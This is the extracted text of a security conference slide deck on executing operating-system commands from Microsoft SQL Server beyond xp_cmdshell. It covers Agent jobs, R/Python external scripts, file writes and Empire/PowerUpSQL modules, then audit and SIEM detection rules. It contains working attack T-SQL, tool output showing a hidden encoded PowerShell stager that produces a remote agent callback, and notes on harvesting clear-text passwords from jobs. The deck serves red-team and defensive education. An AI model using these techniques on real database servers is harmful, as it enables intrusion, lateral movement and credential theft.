BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
93
Agent Jobs – Code – TSQL – VBSCRIPT – Find your own com
https://github.com/tyranid/oleviewdotnet
OleViewDotNetOLE/COM Object Viewer
89. 94 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
94
Agent Jobs – Code – TSQL – List Jobs
SELECT job.job_id as [JOB_ID],
job.name as [JOB_NAME],
job.description as [JOB_DESCRIPTION],
steps.step_name,
steps.subsystem,
steps.command,
SUSER_SNAME(job.owner_sid) as [JOB_OWNER],
steps.proxy_id,
proxies.name as [proxy_account],
job.enabled,
steps.server,
job.date_created,
steps.last_run_date
FROM [msdb].[dbo].[sysjobs] job
INNER JOIN [msdb].[dbo].[sysjobsteps] steps
ON job.job_id = steps.job_id
left join [msdb].[dbo].[sysproxies] proxies
ON steps.proxy_id = proxies.proxy_id
ORDER BY JOB_NAME, step_name
91. 96 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
96
Agent Jobs – Automation - PowerUpSQL
Get-SQLAgentJob
Get list of agents jobs and their code
Use on scale to get stats in verbose
Get-SQLInstanceDomain | Get-SQLAgentJob - Verbose
VERBOSE: SQL Server Agent Job Search
Complete.
VERBOSE: ---------------------------------
VERBOSE: Agent Job Summary
VERBOSE: ---------------------------------
VERBOSE: 470 jobs found
VERBOSE: 7 affected systems
VERBOSE: 7 affected SQL Server instances
VERBOSE: 33 proxy credentials used
VERBOSE: ---------------------------------
VERBOSE: Agent Job Summary by SubSystem
VERBOSE: ---------------------------------
VERBOSE: 461 SSIS Jobs
VERBOSE: 4 Snapshot Jobs
VERBOSE: 2 Distribution Jobs
VERBOSE: 1 QueueReader Jobs
VERBOSE: 1 LogReader Jobs
VERBOSE: 1 CmdExec Jobs
VERBOSE: 470 Total
VERBOSE: ---------------------------------
92. 97 Confidential & Proprietary
97
Agent Jobs – Automation - PowerUpSQL
Invoke-SQLOSCmdAgentJob
Written by Leo Loobeek
Gold Star PowerUpSQL contributor!
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
93. 98 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – AGENT JOB
98
Agent Jobs – Automation - PowerUpSQL
Action PowerUpSQL Function
List Agent Jobs Get-SQLAgentJob
OS CMD via CMDEXEC Invoke-SQLOSCmdAgentJob –SubSystem CMDEXEC
OS CMD via PowerShell Invoke-SQLOSCmdAgentJob –SubSystem PowerShell
OS CMD via JScript Invoke-SQLOSCmdAgentJob –SubSystem Jscript
OS CMD via VBScript Invoke-SQLOSCmdAgentJob –SubSystem VBScript
94. 100 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
100
External Scripts
R & Python
95. 101 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS
101
External Scripts - Overview
R introduced in SQL Server 2016
Python introduced in SQL Server 2017
Both are used for “big data” analytics and machine learning stuff
Runtime environments must be installed with SQL Server
Require sysadmin privileges to run by default
Run as a dynamically created local Windows user account
96. 102 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS
102
External Scripts - Instructions
1. The R / Python runtime environment must be installed
already
2. The 'external scripts enabled’ server configuration must
be enabled
3. The SQL Server service must be restarted for the change
to take effect
4. Then ‘sp_execute_external_script’ can be used to
execute OS commands via R and Python scripts
97. 103 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – R SCRIPT
103
R Scripts – Code Sample - TSQL
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c
whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
99. 105 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – EXTERNAL SCRIPTS
105
External Script – Automation - PowerUpSQL
Action PowerUpSQL Function
OS CMD via R Script Invoke-SQLOSCmdR
OS CMD via Python Script Invoke-SQLOSCmdPython
100. 106 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – R SCRIPT
106
R Scripts – Automation – PowerUpSQL
PS C:> Invoke-SQLOSCmdR -Verbose -Instance Server1SQLSERVER2017 -command whoami
VERBOSE: Creating runspace pool and session states
VERBOSE: Server1SQLSERVER2017 : Connection Success.
VERBOSE: Server1SQLSERVER2017 : You are a sysadmin.
VERBOSE: Server1SQLSERVER2017 : Show Advanced Options is disabled.
VERBOSE: Server1SQLSERVER2017 : Enabled Show Advanced Options.
VERBOSE: Server1SQLSERVER2017 : External scripts enabled are disabled.
VERBOSE: Server1SQLSERVER2017 : Enabled external scripts.
VERBOSE: Server1SQLSERVER2017 : The 'external scripts enabled' setting is enabled in runtime.'
VERBOSE: Server1SQLSERVER2017 : Executing command: whoami
VERBOSE: Server1SQLSERVER2017 : Disabling external scripts
VERBOSE: Server1SQLSERVER2017 : Disabling Show Advanced Options
VERBOSE: Closing the runspace pool
ComputerName Instance CommandResults
--------------------- ----------- ------------------------
Server1 Server1SQLSERVER2017 Server1sqlserver201701
101. 107 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – PYTHON SCRIPT
107
Python Scripts – Automation – PowerUpSQL
PS C:> Invoke-SQLOSCmdPython -Verbose -Instance Server1SQLSERVER2017 -command whoami
VERBOSE: Creating runspace pool and session states
VERBOSE: Server1SQLSERVER2017 : Connection Success.
VERBOSE: Server1SQLSERVER2017 : You are a sysadmin.
VERBOSE: Server1SQLSERVER2017 : Show Advanced Options is disabled.
VERBOSE: Server1SQLSERVER2017 : Enabled Show Advanced Options.
VERBOSE: Server1SQLSERVER2017 : External scripts enabled are disabled.
VERBOSE: Server1SQLSERVER2017 : Enabled external scripts.
VERBOSE: Server1SQLSERVER2017 : The 'external scripts enabled' setting is enabled in runtime.'
VERBOSE: Server1SQLSERVER2017 : Executing command: whoami
VERBOSE: Server1SQLSERVER2017 : Disabling external scripts
VERBOSE: Server1SQLSERVER2017 : Disabling Show Advanced Options
VERBOSE: Closing the runspace pool
ComputerName Instance CommandResults
--------------------- ----------- ------------------------
Server1 Server1SQLSERVER2017 Server1sqlserver201701
103. 110 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – WRITE FILE
110
File Autoruns – Writing Files
OpenRowSet / OpenDataSource / OpenQuery
Requires sysadmin or bulk insert privileges
Requires the 'Microsoft.ACE.OLEDB.12.0’ or similar provider to be
installed
Requires sp_configure 'ad hoc distributed queries',1
Bulk Insert File Copy
Requires sysadmin or bulk insert privileges
Requires local, UNC, or WebDav path to copy file content
Haven’t had time to verify the full WebDav PoC yet (exfil)
104. 111 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – WRITE FILE
111
File Autoruns – OpenRowSet File Write
-- Note: Requires the driver to be installed ahead of time.
-- list available providers
EXEC sp_MSset_oledb_prop -- get available providers
-- Enable show advanced options
sp_configure 'show advanced options',1
reconfigure
go
-- Enable ad hoc queries
sp_configure 'ad hoc distributed queries',1
reconfigure
go
-- Write text file
INSERT INTO OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:temp;HDR=Yes;FORMAT=text', 'SELECT * FROM
[file.txt]')
SELECT @@version
-- Note: This also works with unc paths ipfile.txt
-- Note: This also works with webdav paths ip@80file.txt However, the target web server needs to support propfind.
106. 113 Confidential & Proprietary
113
File Autoruns – Automation - PowerUpSQL
TSQL File write via BULK INSERT ErrorFile
Written by Antti Rantasaari
Gold Star PowerUpSQL contributor!
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE
107. 114 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE
114
File Autoruns – Bulk Insert Error – File Write/Copy
-- author: antti rantassari, 2017
-- Description: Copy file contents to another file via local, unc, or webdav path
-- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada!
-- requires sysadmin or bulk insert privs
CREATE TABLE #errortable (ignore int)
BULK INSERT #errortable
FROM 'localhostc$windowswin.ini'
WITH
(
fieldterminator=',',
rowterminator='n',
errorfile='c:windowstempthatjusthappend.txt'
)
drop table #errortable
https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql
108. 115 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - WRITE FILE
115
File Autoruns – Bulk Insert Error File Copy
-- author: antti rantassari, 2017
-- Description: Copy file contents to another file via local, unc, or webdav path
-- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada!
-- requires sysadmin or bulk insert privs
CREATE TABLE #errortable (ignore int)
BULK INSERT #errortable
FROM 'localhostc$windowswin.ini' -- or 'c:windowssystem32win.ini' -- or hostanme@SSLfolderfile.ini’
WITH
(
fieldterminator=',',
rowterminator='n',
errorfile='c:windowstempthatjusthappend.txt'
)
drop table #errortable
https://docs.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql
109. 119 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
119
Uuuh - That was too much
crap at once.
Uuuh - That was too much
crap at once.
111. 121 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS CMD CHEETSHEET
121Technique Affected
Version
Requires
Sysadmin
By default
Can be Run as
Non-sysadmin
with
Specific
Privileges
Execution
Context
Proxy
Account
Option
Requires
Server
Config
Change
Requires
Disk
Read/Write
Commands to Watch / Requirements
Execute xp_cmdshell 2000 - 2017 Yes Yes SQL Server Service Account
xp_cmdshell Proxy Account
Yes Yes No sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
EXEC sp_configure 'xp_cmdshell', 1;
xp_cmdshell 'whoami’
sp_xp_cmdshell_proxy_account
Grant execute on xp_cmdshell to [x]
Create & Execute a Extended Stored Procedure 2000 - 2017 Yes No SQL Server Service Account No No Yes sp_addextendedproc
Create & Execute a CLR Assembly 2008 -2017 Yes Yes SQL Server Service Account No Yes No sp_configure ‘clr enabled', 1;
sp_configure ‘clr strict security’, 0;
CREATE ASSEMBLY+CREATE PROCEDURE , ALTER
ASSEMBLY, or DDL_Admin
Requires: Database has ‘Is_Trustworthy’ flag set.
Execute a OLE Automation Procedure 2000 - 2017 Yes Yes SQL Server Service Account No Yes No sp_configure ‘Ole Automation Procedures', 1;
GRANT EXECUTE ON OBJECT::[dbo].[sp_OACreate] to
[public]
GRANT EXECUTE ON OBJECT::[dbo].[sp_OAMethod] to
[public]
Create & Execute an Agent Job
• CmdExec
• PowerShell
• SSIS
• ActiveX: Jscript
• ActiveX: VBScript
2000 - 2017 Yes Yes SQL Server
Agent Service Account
Proxy Account
Yes No No sp_add_job that is not tsql
Runs as agent service account when created by sysadmin.
Must be configured with proxy account for non sysadmin
users provided a agent role: SQLAgentUserRole,
SQLAgentReaderRole, SQLAgentOperatorRole
External Scripting: R 2016 – 2017 Yes No SQL Server Service Account No Yes No sp_configure 'external scripts enabled', 1;
External Scripting: Python 2017 Yes No SQL Server Service Account No Yes No sp_configure 'external scripts enabled', 1;
OS Autoruns
• File
• Registry
2000 - 2017 Yes Yes Depends on autorun
location
No Yes Yes Files: Bulk Insert:
GRANT ADMINISTER BULK OPERATIONS TO [public]
Files: sp_addlinkedserver / Openrowset / Opendataset
Registry: xp_regread / xp_regwrite
Providers
• Microsoft.ACE.OLEDB.12.0
• Microsoft.Jet.OLEDB.4.0
2005 - 2017 Yes Maybe SQL Server
Service Account
Yes Yes Yes sp_addlinkedserver / Openrowset / Opendataset
Sp_configure ‘enabled ad-hoc queries’,1
Can mdb be unc?
112. 122 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
122
FUTURE RESEARCH
Other providers.
Write one function to evaluate audit controls, cmdexec options,
and automatically choose best one.
115. 125 Confidential & Proprietary
BEYOND XP_CMDSHELL: EMPIRE MODULES
125
Module 3
Example screenshot
(Empire: NCH9K51L) > usemodule powershell/lateral_movement/invoke_sqloscmd
(Empire: powershell/lateral_movement/invoke_sqloscmd) > options
Name: Invoke-SQLOSCMD
Module: powershell/lateral_movement/invoke_sqloscmd
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None
Authors:
@nullbind
@0xbadjuju
Description:
Executes a command or stager on remote hosts using
xp_cmdshell.
Options:
Name Required Value Description
---- -------- ------- -----------
Listener False Listener to use.
CredID False CredID from the store to use.
Command False Custom command to execute on remote hosts.
Proxy False default Proxy to use for request (default, none, or other).
UserName False [domain]username to use to execute command.
Instance True Host[s] to execute the stager on, comma separated.
UserAgent False default User-agent string to use for the staging request (default, none, or other).
ProxyCreds False default Proxy credentials ([domain]username:password) to use for request (default, none, or other).
Password False Password to use to execute command.
Agent True NCH9K51L Agent to run module on.
116. 126 Confidential & Proprietary
BEYOND XP_CMDSHELL: EMPIRE MODULES
126
Module 3
Example screenshot
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Instance sql-2012.test.local
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Command whoami
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: 6KVEUC
sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command: whoami
nt servicemssqlserver
sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options
117. 127 Confidential & Proprietary
BEYOND XP_CMDSHELL: EMPIRE MODULES
127
Module 3
Example screenshot
(Empire: powershell/lateral_movement/invoke_sqloscmd) > unset Command
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Listener http
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: X3U26K
[+] Initial agent 59BNMXTA from 192.168.1.195 now active
sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command:
C:WindowsSystem32WindowsPowershellv1.0powershell.exe -NoP -sta -NonI -W Hidden -Enc
[TRUNCATED]
sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
118. 128 Confidential & Proprietary128 Confidential & Proprietary
AUDIT
COMMAND
EXECUTION
I Feel like I’m
missing something?
119. 129 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
129
You have the power
to change that.
What can
I do?
120. 130 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
130
You need to audit
and alert on that sh*t.
121. 131 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
131
Let’s do it!
1. Create Server Audit
2. Create Server Audit Specification
3. Create Database Audit Specification
122. 132 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
132
Auditing – Code – TSQL – Create Server Audit
-- Create and enable an audit
USE master
CREATE SERVER AUDIT DerbyconAudit
TO APPLICATION_LOG
WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
ALTER SERVER AUDIT DerbyconAudit
WITH (STATE = ON)
Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
123. 133 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
133
Auditing – Code – TSQL – Create Server Specification
-- Server: Audit server configuration changes
CREATE SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes]
FOR SERVER AUDIT DerbyconAudit
ADD (AUDIT_CHANGE_GROUP), -- Audit Audit changes
ADD (SERVER_OPERATION_GROUP) -- Audit server changes
WITH (STATE = ON)
Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
124. 134 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
134
Auditing – Code – TSQL – Create Database Specification
-- DATABASE: Audit common agent job activity
Use msdb
CREATE DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs]
FOR SERVER AUDIT [DerbyconAudit]
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_job] BY [dbo])
WITH (STATE = ON)
-- DATABASE: Audit potentially dangerous procedures
use master
CREATE DATABASE AUDIT SPECIFICATION [Audit_OSCMDEXEC]
FOR SERVER AUDIT [DerbyconAudit]
ADD (EXECUTE ON OBJECT::[dbo].[xp_cmdshell] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_addextendedproc] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_execute_external_script] BY [dbo]), -- 2016 and
later
ADD (EXECUTE ON OBJECT::[dbo].[Sp_oacreate] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_trusted_assembly] BY [dbo]), -- 2017
ADD (EXECUTE ON OBJECT::[dbo].[xp_regwrite] BY [dbo])
WITH (STATE = ON)
Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.110).aspx
125. 135 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
135
SIEM Cheatsheet
Windows Application Log
Event ID: 15457
Description: Server configuration changes.
- Configuration option 'external scripts enabled' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'Ole Automation Procedures' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'clr enabled' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'clr strict security' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
- Configuration option 'Ad Hoc Distributed Queries' changed from 0 to 1. Run the RECONFIGURE statement to install.
126. 136 Confidential & Proprietary
BEYOND XP_CMDSHELL: AUDIT OS COMMAND EXECUTION
136
SIEM Cheatsheet
Windows Application Log
Event ID: 33205
Description: Agent and database level changes.
- msdb.dbo.sp_add_job Watch for potentially malicious ActiveX, cmdexec, and powershell jobs.
- sp_execute_external_script Watch for cmd.exe and similar calls.
- sp_OACreate Watch for Sp_oacreate 'wscript.shell’ and similar calls
- sp_addextendedproc Watch for any usage
- sp_add_trusted_assembly Watch for unauthorized usage
127. 137 Confidential & Proprietary137 Confidential & Proprietary
TAKE AWAYS
128. 138 Confidential & Proprietary
BEYOND XP_CMDSHELL: TAKE AWAYS
138
Take Aways
1. xp_cmdshell is NOT the only OS command execution option
2. SQL Server can be used as a beach head to help avoid detection
during domain escalation and red team engagements
3. Empire and PowerUpSQL have modules/functions to support some
of the attacks and auditing
4. Every technique can be logged, but most people don’t
We can be better!
129. 139 Confidential & Proprietary
BEYOND XP_CMDSHELL: TAKE AWAYS
139
You got this!You got this!
QUESTIONS?
http://slideshare.net/nullbind/
@0xbadjuju
@_nullbind
130. 140 Confidential & Proprietary
BEYOND XP_CMDSHELL: TAKE AWAYS
140
http://slideshare.net/nullbind/
@0xbadjuju
@_nullbind
Let’s do it!Let’s do it!
QUESTIONS?
131. MINNEAPOLIS | NEW YORK | PORTLAND | DENVER | DALLAS
Empowering enterprises to scale & operationalize their
security programs, globally.
Editor's Notes
Last year I covered SQL Server:
Discovery
Entry
Privilege escalation
List defined audits.
List server level monitoring.
List database level monitoring.
Specifications must be disabled before they can be removed.
Shows disabled status
Can reflect audit gaps that can be exploited
https://docs.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-action-groups-and-actions
Note: Payloads can be stored internally on sites like sharepoint
A copy of the DLL is stored in a table when it is created, NOT on disk. It can be recovered, which will be shown in a later slide.
The SQL Server libraries used have shipped with the .net framework by default since version 2.0.
This is the method that will be used by the SQL Server.
This simply creates a cmd.exe process and runs the provided command.
This can be compiled using csc.exe which ships with .net framework by default.
The UNSAFE permission_set does not enforce any security restrictions and allows us to wrap unmanaged code.
The UNSAFE permission_set does not enforce any security restrictions and allows us to wrap unmanaged code.
Map the .net method to a SQL Server stored procedure.
Notice we reference the same name we setup in the code.
This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
This will convert a SQL Server .net DLL into a CREATE ASSEMBLY command that uses a hexadecimal string instead of a file path.
Nice an easy way to do things like deploy services, wmi providers, etc…
Currently unfinished / unstable code:
WMI provider via CLR
WMI command execution via OLE
LSASecrets via CLR
SQL Server 2008 and later require that a proxy account is configured for job types that are not TSQL when executing as a non-sysadmin user.
Highlighted job types can be used to run OS commands
Often recover clear text passwords from Agent jobs during pentests
There are other job types that are not listed
Service can be started with xp_startservice and stopped with “xp_stopservice”.
Get a list of jobs / types
Get source code too – often passwords
Often recover clear text passwords from Agent jobs during pentests.
Often recover clear text passwords from Agent jobs during pentests.
Need to add affected versions
Need to add affected versions
GRANT ADMINISTER BULK OPERATIONS TO [public]
openrowset
opendatasource
create link
GRANT ADMINISTER BULK OPERATIONS TO [public]
openrowset
opendatasource
create link